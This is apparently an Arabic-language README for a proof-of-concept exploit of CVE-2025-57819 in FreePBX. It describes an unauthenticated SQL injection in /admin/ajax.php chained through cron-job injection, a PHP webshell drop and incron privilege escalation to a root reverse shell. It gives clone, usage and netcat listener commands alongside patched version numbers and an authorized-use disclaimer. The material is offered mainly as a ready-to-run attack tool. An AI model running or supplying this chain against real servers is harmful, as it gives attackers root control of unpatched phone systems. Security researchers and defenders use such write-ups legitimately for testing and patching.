CVE-2025-57819 — FreePBX SQLi → RCE → Root

إثبات مفهوم كامل السلسلة لـ CVE-2025-57819. حقن SQL قائم على الأخطاء دون مصادقة في وحدة endpoint في FreePBX يتسلسل إلى شل بصلاحيات الجذر عبر حقن مهام cron وتصعيد الامتيازات عبر incron.

للاستخدام في الاختبارات والأبحاث المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها.

ماذا يفعل

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

يستخرج معلومات قاعدة البيانات عبر الحقن القائم على الأخطاء في /admin/ajax.php
يحقن مهمة cron تكتب قشرة ويب PHP إلى جذر الويب
ينتظر تنفيذ cron (حوالي 60 ثانية)، ويؤكد تنفيذ الأوامر عن بُعد (RCE) كمستخدم asterisk
ينشئ ملف مشغّل incron يشغّل خطاف fwconsole بصلاحيات الجذر
يلتقط الصدفة العكسية على المستمع الخاص بك

الإعداد

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

الاستخدام

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

ابدأ مستمعًا أولاً:

nc -lvnp 9999

ثم شغّل:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

يؤدي --cleanup إلى إزالة قشرة الويب ومهمة cron بعد الاستغلال.

الإصدارات المتأثرة

FreePBX مع تثبيت وحدة endpoint. يتم تمرير معامل brand في /admin/ajax.php دون تعقيم إلى استعلام SQL.

FreePBX	النسخة المصححة
15.x	`15.0.66`
16.x	`16.0.89`
17.x	`17.0.3`

المراجع

المؤلف

ozcanpng — github.com/ozcanpng — ozcanpng.dev

الأكثر شعبية

CVE-2025-57819-FreePBX-RCE2Root